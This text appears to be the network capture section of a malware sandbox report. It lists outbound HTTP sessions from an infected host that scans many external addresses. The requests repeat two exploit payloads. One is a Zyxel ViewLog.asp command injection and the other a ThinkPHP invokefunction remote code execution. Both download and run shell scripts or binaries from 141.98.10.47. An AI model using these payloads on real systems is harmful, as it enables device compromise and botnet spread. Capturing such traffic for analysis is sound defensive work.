Dec 26, 2023 21:25:11.297643900 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:12.077742100 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:13.645411968 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:16.813030958 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:23.212074995 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:35.754326105 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:01.606786013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	39726	94.122.114.4	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:11.331938028 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	36166	94.121.98.219	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.036123037 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	45098	94.122.214.195	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.037681103 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	45186	62.29.27.72	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.046994925 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	53960	95.86.98.248	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.047195911 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	48198	62.154.179.13	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.291421890 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:12.548990011 CET	347	IN	HTTP/1.1 404 Not Found Server: mxweb/1.13.7-MX Date: Tue, 26 Dec 2023 20:32:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 38 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 56 94 a7 26 e9 1b ea 19 1a eb 99 eb fa 46 20 ab d2 07 d9 03 32 57 1f ea 46 00 ef d5 61 cc ac 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 87(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTV&F 2WFa0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	58058	85.164.62.181	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.303101063 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:12.592060089 CET	36	IN	HTTP/1.1 403 Forbidden

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	38280	62.29.90.18	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.316932917 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	47214	31.146.173.162	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:12.340413094 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	45492	94.228.114.125	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:14.952730894 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:15.235980034 CET	419	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Tue, 26 Dec 2023 20:25:15 GMT Content-Type: text/html Content-Length: 255 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	39224	94.69.184.8	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:14.953026056 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:15.240509987 CET	335	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 14:26:19 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	52186	95.86.67.115	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:14.959758043 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	43676	95.0.164.199	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.131257057 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:23.437478065 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close
Dec 26, 2023 21:25:23.641458988 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	44182	95.79.51.60	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.140676975 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:15.421545982 CET	407	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:15 GMT Server: Apache/2.4.46 (Win64) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	39628	95.46.120.101	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.142934084 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	33300	95.215.149.7	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.173855066 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:15.483570099 CET	21	IN	HTTP/1.0 Data Raw: Data Ascii:
Dec 26, 2023 21:25:15.483789921 CET	214	IN	Data Raw: 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 36 20 44 65 63 20 32 30 32 33 20 32 30 3a 32 35 3a 31 35 20 47 4d 54 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 Data Ascii: 404 Not FoundDate: Tue, 26 Dec 2023 20:25:15 GMTConnection: closeContent-Type: text/html<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>The request URL was not found!</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	52234	94.16.115.149	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.204014063 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:15.455351114 CET	409	IN	HTTP/1.1 404 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json Transfer-Encoding: chunked Date: Tue, 26 Dec 2023 20:25:15 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 38 63 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 33 2d 31 32 2d 32 36 54 32 30 3a 32 35 3a 31 35 2e 33 33 34 2b 30 30 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 4e 6f 20 6d 65 73 73 61 67 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d 0d 0a Data Ascii: 8c{"timestamp":"2023-12-26T20:25:15.334+0000","status":404,"error":"Not Found","message":"No message available","path":"/cgi-bin/ViewLog.asp"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	57368	95.239.155.188	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.349076033 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	45330	31.136.81.58	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.929356098 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:19.116657019 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
